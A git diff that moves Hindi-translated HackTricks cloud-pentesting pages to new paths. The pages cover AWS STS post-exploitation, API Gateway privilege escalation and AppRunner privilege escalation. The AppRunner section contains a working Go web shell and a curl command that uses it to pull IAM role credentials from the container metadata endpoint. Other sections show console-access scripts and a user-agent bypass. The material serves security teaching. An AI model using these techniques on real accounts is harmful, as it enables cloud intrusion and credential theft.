-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### IAM क्रेडेंशियल्स से कंसोल तक
-
-यदि आप कुछ IAM क्रेडेंशियल्स प्राप्त करने में सफल रहे हैं, तो आप **वेब कंसोल तक पहुँचने** में रुचि रख सकते हैं, निम्नलिखित उपकरणों का उपयोग करके।\
-ध्यान दें कि उपयोगकर्ता/भूमिका को **`sts:GetFederationToken`** अनुमति होनी चाहिए।
-
-#### कस्टम स्क्रिप्ट
-
-निम्नलिखित स्क्रिप्ट डिफ़ॉल्ट प्रोफ़ाइल और एक डिफ़ॉल्ट AWS स्थान (न तो gov और न ही cn) का उपयोग करेगी ताकि आपको एक साइन किया हुआ URL मिल सके जिसका उपयोग आप वेब कंसोल में लॉगिन करने के लिए कर सकते हैं:
-```bash
-# Get federated creds (you must indicate a policy or they won't have any perms)
-## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
-## Don't forget to use [--profile ] in the first line if you need to
-output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
-
-if [ $? -ne 0 ]; then
-echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
-exit $status
-fi
-
-# Parse the output
-session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
-session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
-session_token=$(echo $output | jq -r '.Credentials.SessionToken')
-
-# Construct the JSON credentials string
-json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
-
-# Define the AWS federation endpoint
-federation_endpoint="https://signin.aws.amazon.com/federation"
-
-# Make the HTTP request to get the sign-in token
-resp=$(curl -s "$federation_endpoint" \
---get \
---data-urlencode "Action=getSigninToken" \
---data-urlencode "SessionDuration=43200" \
---data-urlencode "Session=$json_creds"
-)
-signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
-
-# Give the URL to login
-echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
-```
-#### aws_consoler
-
-आप **एक वेब कंसोल लिंक उत्पन्न कर सकते हैं** [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
-```bash
-cd /tmp
-python3 -m venv env
-source ./env/bin/activate
-pip install aws-consoler
-aws_consoler [params...] #This will generate a link to login into the console
-```
-> [!WARNING]
-> सुनिश्चित करें कि IAM उपयोगकर्ता के पास `sts:GetFederationToken` अनुमति है, या एक भूमिका प्रदान करें जिसे ग्रहण किया जा सके।
-
-#### aws-vault
-
-[**aws-vault**](https://github.com/99designs/aws-vault) एक उपकरण है जो विकास वातावरण में AWS क्रेडेंशियल्स को सुरक्षित रूप से संग्रहीत और एक्सेस करने के लिए है।
-```bash
-aws-vault list
-aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
-aws-vault login jonsmith # Open a browser logged as jonsmith
-```
-> [!NOTE]
-> आप **aws-vault** का उपयोग करके **ब्राउज़र कंसोल सत्र** प्राप्त कर सकते हैं
-
-### **Python से User-Agent प्रतिबंधों को बायपास करें**
-
-यदि **उपयोगकर्ता एजेंट** के आधार पर कुछ क्रियाएँ करने पर **प्रतिबंध है** (जैसे उपयोगकर्ता एजेंट के आधार पर python boto3 लाइब्रेरी के उपयोग को प्रतिबंधित करना) तो आप **ब्राउज़र के माध्यम से वेब कंसोल से कनेक्ट करने के लिए** पिछले तकनीक का उपयोग कर सकते हैं, या आप सीधे **boto3 उपयोगकर्ता-एजेंट को संशोधित कर सकते हैं**:
-```bash
-# Shared by ex16x41
-# Create a client
-session = boto3.Session(profile_name="lab6")
-client = session.client("secretsmanager", region_name="us-east-1")
-
-# Change user agent of the client
-client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
-
-# Perform the action
-response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
new file mode 100644
index 000000000..8a79410c8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
@@ -0,0 +1,105 @@
+# AWS - STS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## STS
+
+अधिक जानकारी के लिए:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### IAM Creds से Console तक
+
+यदि आप कुछ IAM credentials प्राप्त करने में सफल रहे हैं, तो आप निम्नलिखित tools का उपयोग करके web console तक पहुँचने में रुचि ले सकते हैं।\
+ध्यान दें कि user/role के पास permission **`sts:GetFederationToken`** होना चाहिए।
+
+#### Custom script
+
+निम्नलिखित script default profile और एक default AWS location (not gov and not cn) का उपयोग करेगा और आपको एक signed URL देगा जिसका आप web console में login करने के लिए उपयोग कर सकते हैं:
+```bash
+# Get federated creds (you must indicate a policy or they won't have any perms)
+## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
+## Don't forget to use [--profile ] in the first line if you need to
+output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
+
+if [ $? -ne 0 ]; then
+echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
+exit $status
+fi
+
+# Parse the output
+session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
+session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
+session_token=$(echo $output | jq -r '.Credentials.SessionToken')
+
+# Construct the JSON credentials string
+json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
+
+# Define the AWS federation endpoint
+federation_endpoint="https://signin.aws.amazon.com/federation"
+
+# Make the HTTP request to get the sign-in token
+resp=$(curl -s "$federation_endpoint" \
+--get \
+--data-urlencode "Action=getSigninToken" \
+--data-urlencode "SessionDuration=43200" \
+--data-urlencode "Session=$json_creds"
+)
+signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
+
+
+# Give the URL to login
+echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
+```
+#### aws_consoler
+
+आप [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) का उपयोग करके **वेब कंसोल लिंक** बना सकते हैं।
+```bash
+cd /tmp
+python3 -m venv env
+source ./env/bin/activate
+pip install aws-consoler
+aws_consoler [params...] #This will generate a link to login into the console
+```
+> [!WARNING]
+> सुनिश्चित करें कि IAM user के पास `sts:GetFederationToken` permission हो, या assume करने के लिए एक role प्रदान करें।
+
+#### aws-vault
+
+[**aws-vault**](https://github.com/99designs/aws-vault) डेवलपमेंट वातावरण में AWS credentials को सुरक्षित रूप से स्टोर और एक्सेस करने का एक टूल है।
+```bash
+aws-vault list
+aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
+aws-vault login jonsmith # Open a browser logged as jonsmith
+```
+> [!NOTE]
+> आप **aws-vault** का उपयोग करके एक **browser console session** भी प्राप्त कर सकते हैं
+
+### **Bypass User-Agent restrictions from Python**
+
+यदि उपयोग किए गए **user agent** के आधार पर कुछ क्रियाएँ करने पर कोई **restriction** है (जैसे user agent के आधार पर python boto3 library के उपयोग पर restriction), तो पिछले तरीके का उपयोग करके आप **connect to the web console via a browser** कर सकते हैं, या आप सीधे **modify the boto3 user-agent** कर सकते हैं, जैसे:
+```bash
+# Shared by ex16x41
+# Create a client
+session = boto3.Session(profile_name="lab6")
+client = session.client("secretsmanager", region_name="us-east-1")
+
+# Change user agent of the client
+client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
+
+# Perform the action
+response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
+```
+### **`sts:GetFederationToken`**
+
+इस अनुमति के साथ यह संभव है कि इसे निष्पादित करने वाले उपयोगकर्ता के लिए एक फ़ेडरेटेड पहचान बनाई जाए, जो उस उपयोगकर्ता के पास मौजूद अनुमतियों तक ही सीमित होगी।
+```bash
+aws sts get-federation-token --name 
+```
+sts:GetFederationToken द्वारा लौटाया गया token कॉल करने वाले उपयोगकर्ता की federated identity से संबंधित होता है, लेकिन सीमित permissions के साथ। भले ही उपयोगकर्ता के पास प्रशासक अधिकार हों, कुछ क्रियाएँ जैसे IAM users सूचीबद्ध करना या policies संलग्न करना federated token के माध्यम से नहीं की जा सकतीं।
+
+इसके अलावा, यह तरीका कुछ हद तक अधिक गुप्त है, क्योंकि federated user AWS पोर्टल में दिखाई नहीं देता; इसे केवल CloudTrail logs या monitoring tools के माध्यम से ही देखा जा सकता है।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
deleted file mode 100644
index aef880d62..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# AWS - VPN पोस्ट एक्सप्लॉइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-अधिक जानकारी के लिए:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
new file mode 100644
index 000000000..b716cd7d1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
@@ -0,0 +1,13 @@
+# AWS - VPN Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## VPN
+
+अधिक जानकारी के लिए:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
deleted file mode 100644
index 1ab965a3e..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ /dev/null
@@ -1,95 +0,0 @@
-# AWS - Apigateway Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Apigateway
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### `apigateway:POST`
-
-इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के API कुंजी उत्पन्न कर सकते हैं (प्रति क्षेत्र)।
-```bash
-aws --region  apigateway create-api-key
-```
-**संभावित प्रभाव:** आप इस तकनीक से प्रिवेस्क नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है।
-
-### `apigateway:GET`
-
-इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के उत्पन्न API कुंजी प्राप्त कर सकते हैं (प्रति क्षेत्र)।
-```bash
-aws --region  apigateway get-api-keys
-aws --region  apigateway get-api-key --api-key  --include-value
-```
-**संभावित प्रभाव:** आप इस तकनीक से प्रिविलेज़ एस्केलेशन नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
-
-### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-
-इन अनुमतियों के साथ, एक API की संसाधन नीति को संशोधित करना संभव है ताकि आप इसे कॉल करने और API गेटवे के संभावित पहुँच का दुरुपयोग करने के लिए खुद को पहुँच दे सकें (जैसे कि एक कमजोर लैम्ब्डा को सक्रिय करना)।
-```bash
-aws apigateway update-rest-api \
---rest-api-id api-id \
---patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
-```
-**संभावित प्रभाव:** आप आमतौर पर इस तकनीक के साथ सीधे प्रिवेस्क नहीं कर पाएंगे, लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है।
-
-### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
-
-> [!NOTE]
-> परीक्षण की आवश्यकता है
-
-एक हमलावर जिसके पास `apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` की अनुमति है, **एक मौजूदा API Gateway REST API में एक नया इंटीग्रेशन जोड़ सकता है जिसमें एक IAM भूमिका संलग्न Lambda फ़ंक्शन है**। हमलावर फिर **Lambda फ़ंक्शन को मनमाने कोड को निष्पादित करने के लिए ट्रिगर कर सकता है और संभावित रूप से IAM भूमिका से संबंधित संसाधनों तक पहुंच प्राप्त कर सकता है**।
-```bash
-API_ID="your-api-id"
-RESOURCE_ID="your-resource-id"
-HTTP_METHOD="GET"
-LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
-LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
-
-# Add a new integration to the API Gateway REST API
-aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**संभावित प्रभाव**: Lambda फ़ंक्शन के IAM भूमिका से जुड़े संसाधनों तक पहुँच।
-
-### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
-
-> [!NOTE]
-> परीक्षण की आवश्यकता है
-
-एक हमलावर जिसके पास `apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे ऑथराइज़र को संशोधित कर सकता है** ताकि सुरक्षा जांचों को बायपास किया जा सके या API अनुरोध किए जाने पर मनमाने कोड को निष्पादित किया जा सके।
-```bash
-API_ID="your-api-id"
-AUTHORIZER_ID="your-authorizer-id"
-LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
-
-# Update the API Gateway authorizer
-aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**संभावित प्रभाव**: सुरक्षा जांचों को बायपास करना, API संसाधनों तक अनधिकृत पहुंच।
-
-### `apigateway:UpdateVpcLink`
-
-> [!NOTE]
-> परीक्षण की आवश्यकता है
-
-`apigateway:UpdateVpcLink` अनुमति वाला एक हमलावर **एक मौजूदा VPC लिंक को एक अलग नेटवर्क लोड बैलेंसर की ओर मोड़ सकता है, संभावित रूप से निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित कर सकता है**।
-```bash
-bashCopy codeVPC_LINK_ID="your-vpc-link-id"
-NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
-
-# Update the VPC Link
-aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
-```
-**संभावित प्रभाव**: निजी API संसाधनों तक अनधिकृत पहुंच, API ट्रैफ़िक का अवरोध या बाधा। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
new file mode 100644
index 000000000..05984a226
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
@@ -0,0 +1,95 @@
+# AWS - Apigateway Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Apigateway
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### `apigateway:POST`
+
+इस अनुमति के साथ आप configure किए गए APIs के लिए (प्रत्येक region में) API keys जनरेट कर सकते हैं।
+```bash
+aws --region  apigateway create-api-key
+```
+**Potential Impact:** आप इस तकनीक से privesc नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
+
+### `apigateway:GET`
+
+इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs की जनरेट की गई API keys प्राप्त कर सकते हैं (per region).
+```bash
+aws --region  apigateway get-api-keys
+aws --region  apigateway get-api-key --api-key  --include-value
+```
+**संभावित प्रभाव:** इस तकनीक से आप privesc नहीं कर सकते, लेकिन संभवतः संवेदनशील जानकारी तक पहुँच मिल सकती है।
+
+### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
+
+इन permissions के साथ, किसी API की resource policy को बदल कर आप खुद को उसे कॉल करने की अनुमति दे सकते हैं और API gateway के संभावित एक्सेस का दुरुपयोग कर सकते हैं (उदाहरण के लिए किसी vulnerable lambda को invoke करना)।
+```bash
+aws apigateway update-rest-api \
+--rest-api-id api-id \
+--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
+```
+**Potential Impact:** आप आमतौर पर इस तकनीक से सीधे privesc नहीं कर पाएँगे, लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
+
+### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
+
+> [!NOTE]
+> परीक्षण की आवश्यकता
+
+`apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` अनुमतियों वाले हमलावर **मौजूदा API Gateway REST API में ऐसे Lambda फ़ंक्शन के साथ एक नया इंटीग्रेशन जोड़ सकते हैं जिस पर एक IAM role जुड़ा हो**। हमलावर फिर **Lambda फ़ंक्शन को ट्रिगर करके मनमाना कोड निष्पादित कर सकता है और संभावित रूप से IAM role से जुड़े संसाधनों तक पहुँच प्राप्त कर सकता है**।
+```bash
+API_ID="your-api-id"
+RESOURCE_ID="your-resource-id"
+HTTP_METHOD="GET"
+LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
+LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
+
+# Add a new integration to the API Gateway REST API
+aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**संभावित प्रभाव**: Lambda function's IAM role से जुड़े संसाधनों तक पहुँच।
+
+### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
+
+> [!NOTE]
+> परीक्षण आवश्यक
+
+एक हमलावर जिसके पास अनुमतियाँ `apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` हैं, वह **मौजूदा API Gateway authorizer को संशोधित कर सकता है** ताकि सुरक्षा जांचों को दरकिनार किया जा सके या जब API अनुरोध किए जाते हैं तब मनमाना कोड निष्पादित किया जा सके।
+```bash
+API_ID="your-api-id"
+AUTHORIZER_ID="your-authorizer-id"
+LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
+
+# Update the API Gateway authorizer
+aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**संभावित प्रभाव**: सुरक्षा जाँचों को दरकिनार करना, API संसाधनों तक अनधिकृत पहुँच।
+
+### `apigateway:UpdateVpcLink`
+
+> [!NOTE]
+> परीक्षण की आवश्यकता
+
+एक हमलावर के पास `apigateway:UpdateVpcLink` अनुमति होने पर वह **मौजूदा VPC Link को किसी अलग Network Load Balancer की ओर निर्देशित करने के लिए संशोधित कर सकता है, जिससे निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित किया जा सकता है**।
+```bash
+VPC_LINK_ID="your-vpc-link-id"
+NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
+
+# Update the VPC Link
+aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
+```
+**संभावित प्रभाव**: प्राइवेट API संसाधनों तक अनधिकृत पहुँच, API ट्रैफ़िक का अवरोधन या व्यवधान।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
deleted file mode 100644
index 57fc721de..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - AppRunner Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AppRunner
-
-### `iam:PassRole`, `apprunner:CreateService`
-
-इन अनुमतियों के साथ एक हमलावर एक AppRunner सेवा बना सकता है जिसमें एक संलग्न IAM भूमिका होती है, संभावित रूप से भूमिका के क्रेडेंशियल्स तक पहुँचकर विशेषाधिकार बढ़ा सकता है।
-
-हमलावर पहले एक Dockerfile बनाता है जो AppRunner कंटेनर पर मनमाने कमांड निष्पादित करने के लिए एक वेब शेल के रूप में कार्य करता है।
-```Dockerfile
-FROM golang:1.24-bookworm
-WORKDIR /app
-RUN apt-get update && apt-get install -y ca-certificates curl
-RUN cat <<'EOF' > main.go
-package main
-
-import (
-"fmt"
-"net/http"
-"os/exec"
-)
-
-func main() {
-http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
-command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
-output, err := command.CombinedOutput()
-if err != nil {
-fmt.Fprint(w, err.Error(), output)
-return
-}
-
-fmt.Fprint(w, string(output))
-})
-http.ListenAndServe("0.0.0.0:3000", nil)
-}
-EOF
-RUN go mod init test && go build -o main .
-EXPOSE 3000
-CMD ["./main"]
-```
-फिर, इस इमेज को ECR रिपॉजिटरी में पुश करें।  
-एक हमलावर द्वारा नियंत्रित AWS खाते में एक सार्वजनिक रिपॉजिटरी में इमेज को पुश करके, विशेषाधिकार वृद्धि संभव है, भले ही पीड़ित के खाते में ECR को संभालने की अनुमति न हो।
-```sh
-IMAGE_NAME=public.ecr.aws///:latest
-docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
-aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
-docker push $IMAGE_NAME
-docker logout public.ecr.aws
-```
-इसके बाद, हमलावर एक AppRunner सेवा बनाता है जो इस वेब शेल इमेज और IAM भूमिका के साथ कॉन्फ़िगर की गई है जिसे वे शोषण करना चाहते हैं।
-```bash
-aws apprunner create-service \
---service-name malicious-service \
---source-configuration '{
-"ImageRepository": {
-"ImageIdentifier": "public.ecr.aws///:latest",
-"ImageRepositoryType": "ECR_PUBLIC",
-"ImageConfiguration": { "Port": "3000" }
-}
-}' \
---instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
---query Service.ServiceUrl
-```
-सेवा निर्माण पूरा होने का इंतजार करने के बाद, वेब शेल का उपयोग करके कंटेनर क्रेडेंशियल्स प्राप्त करें और AppRunner से जुड़े IAM भूमिका की अनुमतियों को प्राप्त करें।
-```sh
-curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
-```
-**संभावित प्रभाव:** AppRunner सेवाओं से जोड़ा जा सकने वाला किसी भी IAM भूमिका तक सीधे विशेषाधिकार वृद्धि। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
new file mode 100644
index 000000000..ae39e8c92
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
@@ -0,0 +1,73 @@
+# AWS - AppRunner Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AppRunner
+
+### `iam:PassRole`, `apprunner:CreateService`
+
+इन अनुमतियों वाले एक हमलावर AppRunner service को एक संलग्न IAM role के साथ बना सकता है, और role की credentials तक पहुँच कर संभावित रूप से विशेषाधिकार बढ़ा सकता है।
+
+हमलावर पहले एक Dockerfile बनाता है जो AppRunner container पर किसी भी कमांड को निष्पादित करने के लिए एक web shell के रूप में कार्य करता है।
+```Dockerfile
+FROM golang:1.24-bookworm
+WORKDIR /app
+RUN apt-get update && apt-get install -y ca-certificates curl
+RUN cat <<'EOF' > main.go
+package main
+
+import (
+"fmt"
+"net/http"
+"os/exec"
+)
+
+func main() {
+http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
+command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
+output, err := command.CombinedOutput()
+if err != nil {
+fmt.Fprint(w, err.Error(), output)
+return
+}
+
+fmt.Fprint(w, string(output))
+})
+http.ListenAndServe("0.0.0.0:3000", nil)
+}
+EOF
+RUN go mod init test && go build -o main .
+EXPOSE 3000
+CMD ["./main"]
+```
+फिर, इस image को एक ECR repository में push करें।
+
+attacker द्वारा नियंत्रित AWS account में public repository पर image को push करने से, privilege escalation संभव है, भले ही victim के account के पास ECR को manipulate करने की permissions न हों।
+```sh
+IMAGE_NAME=public.ecr.aws///:latest
+docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
+aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
+docker push $IMAGE_NAME
+docker logout public.ecr.aws
+```
+इसके बाद, हमलावर उस web shell image और जिस IAM Role का वे शोषण करना चाहते हैं, के साथ कॉन्फ़िगर की गई एक AppRunner service बनाता है।
+```bash
+aws apprunner create-service \
+--service-name malicious-service \
+--source-configuration '{
+"ImageRepository": {
+"ImageIdentifier": "public.ecr.aws///:latest",
+"ImageRepositoryType": "ECR_PUBLIC",
+"ImageConfiguration": { "Port": "3000" }
+}
+}' \
+--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
+--query Service.ServiceUrl
+```
+सेवा के निर्माण के पूरा होने तक प्रतीक्षा करने के बाद, web shell का उपयोग करके container credentials प्राप्त करें और AppRunner से जुड़े IAM Role की अनुमतियाँ प्राप्त करें।
+```sh
+curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
+```
+**संभावित प्रभाव:** AppRunner services से attached किए जा सकने वाले किसी भी IAM role पर सीधा privilege escalation।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
deleted file mode 100644
index f4e2282e8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Chime Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### chime:CreateApiKey
-
-TODO
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
new file mode 100644
index 000000000..700cccc10
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
@@ -0,0 +1,9 @@
+# AWS - Chime Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### chime:CreateApiKey
+
+करना है
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
index 83d920304..3b19f3c6e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - Codebuild Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## codebuild
 
